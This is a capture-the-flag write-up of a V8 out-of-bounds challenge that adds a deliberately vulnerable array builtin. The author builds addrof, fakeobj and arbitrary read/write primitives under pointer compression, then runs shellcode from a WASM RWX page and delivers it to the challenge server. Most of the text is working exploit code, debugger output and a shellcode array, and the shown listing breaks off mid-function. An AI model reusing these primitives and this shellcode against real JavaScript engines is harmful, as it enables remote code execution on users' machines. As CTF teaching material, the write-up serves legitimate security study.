picoCTF 2021 - Download Horsepower

Another OOB, but with pointer compression

Analysis

server.py is the same as in Kit Engine - send it a JS file, it gets run.

Let's check the patch again:

diff --git a/BUILD.gn b/BUILD.gn
index 9482b977e3..6a3f1e2d0f 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -1175,6 +1175,7 @@ action("postmortem-metadata") {
 }
 
 torque_files = [
+  "src/builtins/array-horsepower.tq",
   "src/builtins/aggregate-error.tq",
   "src/builtins/array-at.tq",
   "src/builtins/array-copywithin.tq",
diff --git a/src/builtins/array-horsepower.tq b/src/builtins/array-horsepower.tq
new file mode 100644
index 0000000000..7ea53ca306
--- /dev/null
+++ b/src/builtins/array-horsepower.tq
@@ -0,0 +1,17 @@
+// Gotta go fast!!
+
+namespace array {
+
+transitioning javascript builtin
+ArraySetHorsepower(
+  js-implicit context: NativeContext, receiver: JSAny)(horsepower: JSAny): JSAny {
+    try {
+      const h: Smi = Cast<Smi>(horsepower) otherwise End;
+      const a: JSArray = Cast<JSArray>(receiver) otherwise End;
+      a.SetLength(h);
+    } label End {
+        Print("Improper attempt to set horsepower");
+    }
+    return receiver;
+}
+}
\ No newline at end of file
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index e6fb20d152..abfb553864 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -999,6 +999,10 @@ void Shell::ModuleResolutionSuccessCallback(
   resolver->Resolve(realm, module_namespace).ToChecked();
 }
 
+void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  __asm__("int3");
+}
+
 void Shell::ModuleResolutionFailureCallback(
     const FunctionCallbackInfo<Value>& info) {
   std::unique_ptr<ModuleResolutionData> module_resolution_data(
@@ -2201,40 +2205,14 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) {
 
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
-                       String::NewFromUtf8Literal(isolate, "global"));
+  // Remove some unintented solutions
+  global_template->Set(isolate, "Breakpoint", FunctionTemplate::New(isolate, Breakpoint));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
-
   global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
-  global_template->Set(isolate, "printErr",
-                       FunctionTemplate::New(isolate, PrintErr));
-  global_template->Set(isolate, "write", FunctionTemplate::New(isolate, Write));
-  global_template->Set(isolate, "read", FunctionTemplate::New(isolate, Read));
-  global_template->Set(isolate, "readbuffer",
-                       FunctionTemplate::New(isolate, ReadBuffer));
-  global_template->Set(isolate, "readline",
-                       FunctionTemplate::New(isolate, ReadLine));
-  global_template->Set(isolate, "load", FunctionTemplate::New(isolate, Load));
-  global_template->Set(isolate, "setTimeout",
-                       FunctionTemplate::New(isolate, SetTimeout));
-  // Some Emscripten-generated code tries to call 'quit', which in turn would
-  // call C's exit(). This would lead to memory leaks, because there is no way
-  // we can terminate cleanly then, so we need a way to hide 'quit'.
   if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
-  global_template->Set(isolate, "testRunner",
-                       Shell::CreateTestRunnerTemplate(isolate));
-  global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
-  global_template->Set(isolate, "performance",
-                       Shell::CreatePerformanceTemplate(isolate));
-  global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-  // Prevent fuzzers from creating side effects.
-  if (!i::FLAG_fuzzing) {
-    global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
-  }
-  global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
 
 #ifdef V8_FUZZILLI
   global_template->Set(
@@ -2243,11 +2221,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
       FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
 #endif  // V8_FUZZILLI
 
-  if (i::FLAG_expose_async_hooks) {
-    global_template->Set(isolate, "async_hooks",
-                         Shell::CreateAsyncHookTemplate(isolate));
-  }
-
   return global_template;
 }
 
@@ -2449,10 +2422,10 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
             v8::Isolate::kMessageLog);
   }
 
-  isolate->SetHostImportModuleDynamicallyCallback(
+  /*isolate->SetHostImportModuleDynamicallyCallback(
       Shell::HostImportModuleDynamically);
   isolate->SetHostInitializeImportMetaObjectCallback(
-      Shell::HostInitializeImportMetaObject);
+      Shell::HostInitializeImportMetaObject);*/
 
 #ifdef V8_FUZZILLI
   // Let the parent process (Fuzzilli) know we are ready.
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a6a1037cff..7cf66d285a 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -413,6 +413,8 @@ class Shell : public i::AllStatic {
     kNoProcessMessageQueue = false
   };
 
+  static void Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args);
+
   static bool ExecuteString(Isolate* isolate, Local<String> source,
                             Local<Value> name, PrintResult print_result,
                             ReportExceptions report_exceptions,
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index ce3886e87e..6621a79618 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1754,6 +1754,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
     JSObject::AddProperty(isolate_, proto, factory->constructor_string(),
                           array_function, DONT_ENUM);
 
+    SimpleInstallFunction(isolate_, proto, "setHorsepower",
+                          Builtins::kArraySetHorsepower, 1, false);
     SimpleInstallFunction(isolate_, proto, "concat", Builtins::kArrayConcat, 1,
                           false);
     SimpleInstallFunction(isolate_, proto, "copyWithin",
diff --git a/src/objects/js-array.tq b/src/objects/js-array.tq
index b18f5bafac..b466b330cd 100644
--- a/src/objects/js-array.tq
+++ b/src/objects/js-array.tq
@@ -28,6 +28,9 @@ extern class JSArray extends JSObject {
   macro IsEmpty(): bool {
     return this.length == 0;
   }
+  macro SetLength(l: Smi) {
+    this.length = l;
+  }
   length: Number;
 }

The only really relevant code is here:

ArraySetHorsepower(js-implicit context: NativeContext, receiver: JSAny)(horsepower: JSAny): JSAny {
    try {
        const h: Smi = Cast<Smi>(horsepower) otherwise End;
        const a: JSArray = Cast<JSArray>(receiver) otherwise End;
        a.SetLength(h);
    } label End {
        Print("Improper attempt to set horsepower");
    }
    return receiver;
}

macro SetLength(l: Smi) {
    this.length = l;
}

SimpleInstallFunction(isolate_, proto, "setHorsepower",
    Builtins::kArraySetHorsepower, 1, false);

We can essentially set the length of an array by using .setHorsepower(). By setting it to a larger value, we can get an OOB read and write, from which point it would be very similar to the oob-v8 writeup.

Understanding the Memory Layout

Let's first try and check the OOB works as we expected. We're gonna create an exploit.js with the classic ftoi() and itof() functions:

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

Then load up d8 under GDB. This version is a lot newer than the one from OOB-V8, so let's work out what is what.

$gdb d8
gef➤  run --allow-natives-syntax --shell exploit.js
d8> a = [1.5, 2.5]
[1.5, 2.5]
d8> %DebugPrint(a)
DebugPrint: 0xa5e08085179: [JSArray]
 - map: 0x0a5e082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x0a5e0820ab61 <JSArray[0]>
 - elements: 0x0a5e08085161 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
 - length: 2
 - properties: 0x0a5e0804222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0xa5e080446d1: [String] in ReadOnlySpace: #length: 0x0a5e0818215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x0a5e08085161 <FixedDoubleArray[2]> {
           0: 1.5
           1: 2.5
 }
0xa5e082439f1: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x0a5e082439c9 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x0a5e08182405 <Cell value= 1>
 - instance descriptors #1: 0x0a5e0820b031 <DescriptorArray[1]>
 - transitions #1: 0x0a5e0820b07d <TransitionArray[4]>Transition array #1:
     0x0a5e08044fd5 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x0a5e08243a19 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x0a5e0820ab61 <JSArray[0]>
 - constructor: 0x0a5e0820a8f1 <JSFunction Array (sfi = 0xa5e0818ac31)>
 - dependent code: 0x0a5e080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

[1.5, 2.5]
gef➤  x/10gx 0xa5e08085179-1       <--- -1 needed due to pointer tagging!
0xa5e08085178:	0x0804222d082439f1	0x0000000408085161
0xa5e08085188:	0x58f55236080425a9	0x7566280a00000adc
0xa5e08085198:	0x29286e6f6974636e	0x20657375220a7b20
0xa5e080851a8:	0x3b22746369727473	0x6d2041202f2f0a0a
0xa5e080851b8:	0x76696e752065726f	0x7473206c61737265

Types and their Representation

So, right of the bat there are some differences. For example, look at the first value 0x0804222d082439f1. What on earth is that? Well, if you have eagle eyes or are familiar with a new V8 feature called pointer compression, you may notice that it lines up with the properties and the map:

 - map: 0x0a5e082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - properties: 0x0a5e0804222d <FixedArray[0]>

Notice that the last 4 bytes are being stored in that value 0x0804222d082439f1 - the first 4 bytes here at the last 4 bytes of the properties location, and the last 4 bytes are the last 4 of the map pointer.

This is a new feature added to V8 in 2020 called pointer compression, where the first 4 bytes of pointers are not stored as they are constant for all pointers - instead, a single reference is saved, and only the lower 4 bytes are stored. The higher 4 bytes, known as the isolate root, are stored in the R13 register. More information can be found in this blog post, but it's made a huge difference to performance. As well as pointers, smis have also changed representation - instead of being 32-bit values left-shifted by 32 bits to differentiate them from pointers, they are now simply doubled (left-shifted by one bit) and therefore also stored in 32-bit space.

  • A double is stored as its 64-bit binary representation

  • An smi is a 32-bit number, but it's stored as itself left-shifted by 1 so the bottom bit is null

    • e.g. 0x12345678 is stored as 0x2468acf0

  • A pointer to an address addr is stored as addr | 1, that is the least significant bit is set to 1.

    • e.g. 0x12345678 is stored as 0x12345679

    • This helps differentiate it from an smi, but not from a double!

We can see the example of an smi in the second value from the x/10gx command above: 0x0000000408085161. The upper 4 bytes are 4, which is double 2, so this is the length of the list. The lower 4 bytes correspond to the pointer to the elements array, which stores the values themselves. Let's double-check that:

gef➤  x/4gx 0x0a5e08085161-1
0xa5e08085160:	0x0000000408042a99	0x3ff8000000000000
0xa5e08085170:	0x4004000000000000	0x0804222d082439f1

The first value 0x0000000408042a99 is the length smi (a value of 2, doubled as it's an smi) followed by what I assume is a pointer to the map. That's not important - what's important is the next two values are the floating-point representations of 1.5 and 2.5 (I recognise them from oob-v8!), while the value directly after is 0x0804222d082439f1, the properties and map pointer. This means our OOB can work as planned! We just have to ensure we preserve the top 32 bits of this value so we don't ruin the properties pointer.

Note that we don't know the upper 4 bytes, but that's not important!

Let's test that the OOB works as we expected by calling setHorsepower() on an array, and reading past the end.

d8> a.setHorsepower(5)
[1.5, 2.5, , , ]
d8> a[2]
4.763796150676345e-270
d8> ftoi(a[2]).toString(16)
"804222d082439f1"

Fantastic!

Complications while Grabbing Maps

This is a bit more complicated than in oob-v8, because of one simple fact: last time, we gained an addrof primitive using this:

var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();

var initial_obj = {a:1};	// placeholder object
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();

function addrof(obj) {
    obj_arr[0] = obj;			// put desired obj for address leak into index 0
    obj_arr.oob(map_float);		// change to float map
    let leak = obj_arr[0];		// read address
    obj_arr.oob(map_obj);		// change back to object map, to prevent issues down the line
    return ftoi(leak);			// return leak as an integer
}

In our current scenario, you could argue that we can reuse this (with minor modifications) and get this:

var float_arr = [1.5, 2.5];
float_arr.setHorsepower(3);
var map_float = float_arr[2];

var initial_obj = {a:1};	// placeholder object
var obj_arr = [initial_obj];
obj_arr.setHorsepower(2);
var map_obj = obj_arr[1];

function addrof(obj) {
    obj_arr[0] = obj;			// put desired obj for address leak into index 0
    obj_arr[1] = map_float;		// change to float map
    let leak = obj_arr[0];		// read address
    obj_arr[1] = map_obj;		// change back to object map, to prevent issues down the line
    return ftoi(leak);			// return leak as an integer
}

However, this does not work. Why? It's the difference between these two lines:

var map_obj = obj_arr.oob();
var map_obj = obj_arr[1];

In oob-v8, we noted that the function .oob() not only reads an index past the end, but it also returns it as a double. And that's the key difference - in this challenge, we can read past the end of the array, but this time it's treated as an object. obj_arr[1] will, therefore, return an object - and a pretty invalid one, at that!

You might be thinking that we don't need the object map to get an addrof primitive at all, we just can't set the map back, but we can create a one-use array. I spent an age working out why it didn't work, instead returning a NaN, but of course it was this line:

obj_arr[1] = map_float;

Setting the map to that of a float array would never work, as it would treat the first index like an object again!

A new addrof()

So, this time we can't copy the object map so easily. But not all is lost! Instead of having a single OOB read/write, we can set the array to have a huge length. This way, we can use an OOB on the float array to read the map of the object array - if we set it correctly, that is.

Aligning Memory

Let's create two arrays, one of floats and one of objects. We'll also grab the float map (which will also contain the properties pointer!) while we're at it.

var float_arr = [1.5, 2.5];
float_arr.setHorsepower(50);
var float_map = float_arr[2];             // both map and properties


var initial_obj = {a:1};	          // placeholder object
var obj_arr = [initial_obj];
obj_arr.setHorsepower(50);

My initial thought was to create an array like this:

var obj_arr = [3.5, 3.5, initial_obj];

And then I could slowly increment the index of float_arr, reading along in memory until we came across two 3.5 values in a row. I would then know that the location directly after was our desired object, making a reliable leak. Unfortunately, while debugging, it seems like mixed arrays are not quite that simple (unsurprisingly, perhaps). Instead, I'm gonna hope and pray that the offset is constant (and if it's not, we'll come back and play with the mixed array further).

Let's determine the offset. I'm gonna %DebugPrint float_arr, obj_arr and initial_obj:

DebugPrint: 0x30e008085931: [JSArray]
 - map: 0x30e0082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x30e00820ab61 <JSArray[0]>
 - elements: 0x30e008085919 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
 - length: 50
 - properties: 0x30e00804222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x30e0080446d1: [String] in ReadOnlySpace: #length: 0x30e00818215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x30e008085919 <FixedDoubleArray[2]> {
           0: 1.5
           1: 2.5
 }
DebugPrint: 0x30e008085985: [JSArray]
 - map: 0x30e008243a41 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x30e00820ab61 <JSArray[0]>
 - elements: 0x30e008085979 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 50
 - properties: 0x30e00804222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x30e0080446d1: [String] in ReadOnlySpace: #length: 0x30e00818215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x30e008085979 <FixedArray[1]> {
           0: 0x30e00808594d <Object map = 0x30e0082459f9>
 }

DebugPrint: 0x30e00808594d: [JS_OBJECT_TYPE]
 - map: 0x30e0082459f9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x30e008202f11 <Object map = 0x30e0082421b9>
 - elements: 0x30e00804222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x30e00804222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x30e0080477ed: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
 }

Let's check the obj_arr first:

gef➤  x/6gx 0x30e008085979-1
0x30e008085978:	0x0000000208042205	0x08243a410808594d
0x30e008085988:	0x080859790804222d	0x080425a900000064
0x30e008085998:	0x0000000400000003	0x0000000029386428

In line with what we get from %DebugPrint(), we get the lower 4 bytes of 0808594d. If we print from elements onwards for the float_arr:

gef➤  x/20gx 0x30e008085919-1 
0x30e008085918:	0x0000000408042a99	0x3ff8000000000000
0x30e008085928:	0x4004000000000000	0x0804222d082439f1
0x30e008085938:	0x0000006408085919	0x082439f1080423d1
0x30e008085948:	0x082459f90804222d	0x0804222d0804222d
0x30e008085958:	0x08045a0100000002	0x0000000000010001
0x30e008085968:	0x080477ed080421f9	0x0000000200000088
0x30e008085978:	0x0000000208042205	0x08243a410808594d
0x30e008085988:	0x080859790804222d	0x080425a900000064
0x30e008085998:	0x0000000400000003	0x0000000029386428
0x30e0080859a8:	0x0000000000000000	0x0000000000000000

We can see the value 0x08243a410808594d at 0x30e008085980. If the value 1.5 at 0x22f908085370 is index 0, we can count and get an index of 12. Let's try that:

function addrof(obj) {
    obj_arr[0] = obj;
    let leak = float_arr[12];
    return ftoi(leak);
}

%DebugPrint(initial_obj);
console.log("Leak: 0x" + addrof(initial_obj).toString(16))

And from the output, it looks very promising!

Leak: 0x8243a410808593d
DebugPrint: 0x28a60808593d: [JS_OBJECT_TYPE]
 - map: 0x28a6082459f9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x28a608202f11 <Object map = 0x28a6082421b9>
 - elements: 0x28a60804222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x28a60804222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x28a6080477ed: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
 }

The lower 4 bytes match up perfectly. We're gonna return just the last 4 bytes:

return ftoi(leak) & 0xffffffffn;

And bam, we have an addrof() primitive. Time to get a fakeobj().

A new fakeobj()

If we follow the same principle for fakeobj() :

function fakeobj(compressed_addr) {
    float_arr[12] = itof(compressed_addr);
    return obj_arr[0];
}

However, remember that pointer compression is a thing! We have to make sure the upper 4 bytes are consistent. This isn't too bad, as we can read it once and remember it for all future sets:

// store upper 4 bytes of leak
let upper = ftoi(float_arr[12]) & (0xffffffffn << 32n);

And then fakeobj() becomes

function fakeobj(compressed_addr) {
    float_arr[12] = itof(upper + compressed_addr);
    return obj_arr[0];
}

We can test this with the following code:

// first leak the address
let addr_initial = addrof(initial_obj);
// now try and create an object from it
let fake = fakeobj(addr_initial);
// fake should now be pointing to initial_obj
// meaning fake.a should be 1
console.log(fake.a);

If I run this, it does in fact print 1:

gef➤  run --allow-natives-syntax --shell exploit.js
1
V8 version 9.1.0 (candidate)
d8> 

I was as impressed as anybody that this actually worked, I can't lie.

Arbitrary Read

Once again, we're gonna try and gain an arbitrary read by creating a fake array object that we can control the elements pointer for. The offsets are gonna be slightly different due to pointer compression. As we saw earlier, the first 8 bytes are the compressed pointer for properties and map, while the second 8 bytes are the smi for length and then the compressed pointer for elements. Let's create an initial arb_rw_array like before, and print out the layout:

var arb_rw_arr = [float_map, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));

%DebugPrint(arb_rw_arr)
[+] Address of Arbitrary RW Array: 0x8085a01
DebugPrint: 0x161c08085a01: [JSArray]
 - map: 0x161c082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x161c0820ab61 <JSArray[0]>
 - elements: 0x161c080859d9 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
 - length: 4
 - properties: 0x161c0804222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x161c080446d1: [String] in ReadOnlySpace: #length: 0x161c0818215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x161c080859d9 <FixedDoubleArray[4]> {
           0: 4.7638e-270
           1: 1.5
           2: 2.5
           3: 3.5
 }

The leak works perfectly. Once again, elements is ahead of the JSArray itself.

If we want to try and fake an array with compression pointers then we have the following format:

  • 32-bit pointer to properties

  • 32-bit pointer to map

  • smi for length

  • 32-bit pointer to elements

The first ones we have already solved with float_map. We can fix the latter like this:

function arb_read(compressed_addr) {
    // tag pointer
    if (compressed_addr % 2n == 0)
        compressed_addr += 1n;

    // place a fake object over the elements of the valid array
    // we know the elements array is placed just ahead in memory, so with a length
    // of 4 it's an offset of 4 * 0x8 = 0x20 
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);

    // overwrite `elements` field of fake array
    // size of 2 and elements pointer
    arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr);

    // index 0 will returns the arbitrary read value
    return ftoi(fake[0]);
}

We can test the arbitrary read, and I'm going to do this by grabbing the float_map location and reading the data there:

// test arb_read
let float_map_lower = ftoi(float_map) & 0xffffffffn
console.log("Map at: 0x" + float_map_lower.toString(16))
console.log("Read: 0x" + arb_read(float_map_lower).toString(16));
Map at: 0x82439f1
Read: 0xa0007ff2100043d

A little bit of inspection at the location of float_map shows us we're 8 bytes off:

gef➤  x/10gx 0x3f09082439f1-1
0x3f09082439f0:	0x1604040408042119	0x0a0007ff2100043d
0x3f0908243a00:	0x082439c90820ab61	0x080421b90820b031
0x3f0908243a10:	0x0820b07d08182405	0x1604040408042119

This is because the first 8 bytes in the elements array are for the length smi and then for a compressed map pointer, so we just subtract if 8 and get a valid arb_read():

function arb_read(compressed_addr) {
    // tag pointer
    if (compressed_addr % 2n == 0)
        compressed_addr += 1n;

    // place a fake object over the elements of the valid array
    // we know the elements array is placed just ahead in memory, so with a length
    // of 4 it's an offset of 4 * 0x8 = 0x20
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);

    // overwrite `elements` field of fake array
    // size of 2 and elements pointer
    // initially with the map and a size smi, so 0x8 offset
    arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr - 8n);

    // index 0 will returns the arbitrary read value
    return ftoi(fake[0]);
}

Arbitrary Write

Initial

We can continue with the initial_arb_write() from oob-v8, with a couple of minor changes:

function initial_arb_write(compressed_addr, val) {
    // place a fake object and change elements, as before
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr - 8n);

    // Write to index 0
    fake[0] = itof(BigInt(val));
}

We can test this super easily too, with the same principle:

let float_map_lower = ftoi(float_map) & 0xffffffffn;
console.log("Map at: 0x" + float_map_lower.toString(16));
initial_arb_write(float_map_lower, 0x12345678n);

Observing the map location in GDB tells us the write worked:

gef➤  x/4gx 0xf84082439f1-1
0xf84082439f0:	0x0000000012345678	0x0a0007ff2100043d
0xf8408243a00:	0x082439c90820ab61	0x080421b90820b031

Full

Last time we improved our technique by usingArrayBuffer backing pointers. This is a bit harder this time because for this approach you need to know the full 64-bit pointers, not just the compressed version. This is genuinely very difficult because the isolate root is stored in the r13 register, not anywhere in memory. As a result, we're going to be using initial_arb_write() as if it's arb_write(), and hoping it works.

If anybody knows of a way to leak the isolate root, please let me know!

Shellcoding

The final step is to shellcode our way through, using the same technique as last time. The offsets are slightly different, but I'm sure that by this point you can find them yourself!

First I'll use any WASM code to create the RWX page, like I did for oob-v8:

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

Again, this generates an RWX page:

gef➤  vmmap
[...]
0x000007106675a000 0x000007106675b000 0x0000000000000000 rwx 
[...]

Using the same technique of printing out the wasm_instance address and comparing it to the output of search-pattern from before:

gef➤  search-pattern 0x000007106675a000
[+] Searching '\x00\xa0\x75\x66\x10\x07\x00\x00' in memory
[+] In (0x3c108200000-0x3c108280000), permission=rw-
  0x3c108211ad4 - 0x3c108211af4"\x00\xa0\x75\x66\x10\x07\x00\x00[...]"
  [...]

I get an offset of 0x67. In reality it is 0x68 (pointer tagging!), but who cares.

Now we can use the ArrayBuffer technique, because we know all the bits of the address! We can just yoink it directly from the oob-v8 writeup (slightly changing 0x20 to 0x14, as that is the new offset with compression):

function copy_shellcode(addr, shellcode) {
    // create a buffer of 0x100 bytes
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    
    // overwrite the backing store so the 0x100 bytes can be written to where we want
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x14n;
    arb_write(backing_store_addr, addr);

    // write the shellcode 4 bytes at a time
    for (let i = 0; i < shellcode.length; i++) {
	dataview.setUint32(4*i, shellcode[i], true);
    }
}

I am going to grab the shellcode for cat flag.txt from this writeup, because I suck ass at working out endianness and it's a lot of effort for a fail :)))

payload = [0x0cfe016a, 0x2fb84824, 0x2f6e6962, 0x50746163, 0x68e78948, 0x7478742e, 0x0101b848, 0x01010101, 0x48500101, 0x756062b8, 0x606d6701, 0x04314866, 0x56f63124, 0x485e0c6a, 0x6a56e601, 0x01485e10, 0x894856e6, 0x6ad231e6, 0x050f583b]
copy_shellcode(rwx_base, payload);
f();

Running this:

$ ./d8 exploit.js 
[+] Address of Arbitrary RW Array: 0x8086551
[+] RWX Region located at 0xf06b12a5000
cat: flag.txt: No such file or directory

Ok, epic! Let's deliver it remote using the same script as Kit Engine:

from pwn import *

with open("exploit.js", "rb") as f:
    exploit = f.read()

p = remote('mercury.picoctf.net', 60233)
p.sendlineafter(b'5k:', str(len(exploit)).encode())
p.sendlineafter(b'please!!\n', exploit)

p.recvuntil(b"Stdout b'")
flag = p.recvuntil(b"\\")[:-1]
print(flag.decode())

And we get the flag!

$ python3 deliver.py 
[+] Opening connection to mercury.picoctf.net on port 60233: Done
picoCTF{sh0u1d_hAv3_d0wnl0ad3d_m0r3_rAm_3a9ef72562166255}
[*] Closed connection to mercury.picoctf.net port 60233
Full Exploit
// setup
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

// addrof and fakeobj
var float_arr = [1.5, 2.5];
float_arr.setHorsepower(50);
var float_map = float_arr[2];       // both map and properties


var initial_obj = {a:1};	// placeholder object
var obj_arr = [initial_obj];
obj_arr.setHorsepower(50);


// store upper 4 bytes of leak
let upper = ftoi(float_arr[12]) & (0xffffffffn << 32n);

function addrof(obj) {
    obj_arr[0] = obj;
    let leak = float_arr[12];
    return ftoi(leak) & 0xffffffffn;
}

function fakeobj(compressed_addr) {
    float_arr[12] = itof(upper + compressed_addr);
    return obj_arr[0];
}

/* test addrof and fakeobj
// first leak the address
let addr_initial = addrof(initial_obj);
// now try and create an object from it
let fake = fakeobj(addr_initial);
// fake should now be pointing to initial_obj
// meaning fake.a should be 1
console.log(fake.a);
*/

// array for access to arbitrary memory addresses
var arb_rw_arr = [float_map, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));
// %DebugPrint(arb_rw_arr);

function arb_read(compressed_addr) {
    // tag pointer
    if (compressed_addr % 2n == 0)
        compressed_addr += 1n;

    // place a fake object over the elements of the valid array
    // we know the elements array is placed just ahead in memory, so with a length
    // of 4 it's an offset of 4 * 0x8 = 0x20
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);

    // overwrite `elements` field of fake array
    // size of 2 and elements pointer
    // initially with the map and a size smi, so 0x8 offset
    arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr - 8n);

    // index 0 will returns the arbitrary read value
    return ftoi(fake[0]);
}

/* test arb_read
let float_map_lower = ftoi(float_map) & 0xffffffffn;
console.log("Map at: 0x" + float_map_lower.toString(16));
console.log("Read: 0x" + arb_read(float_map_lower).toString(16));
*/

// would normally be initial, but we hope and pray
function arb_write(compressed_addr, val) {
    // place a fake object and change elements, as before
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr - 8n);

    // Write to index 0
    fake[0] = itof(BigInt(val));
}

/* test initial_arb_write
let float_map_lower = ftoi(float_map) & 0xffffffffn;
console.log("Map at: 0x" + float_map_lower.toString(16));
initial_arb_write(float_map_lower, 0x12345678n);
*/

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

let rwx_pointer_loc = addrof(wasm_instance) + 0x67n;
let rwx_base = arb_read(rwx_pointer_loc);
console.log("[+] RWX Region located at 0x" + rwx_base.toString(16));

//
function copy_shellcode(addr, shellcode) {
    // create a buffer of 0x100 bytes
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    
    // overwrite the backing store so the 0x100 bytes can be written to where we want
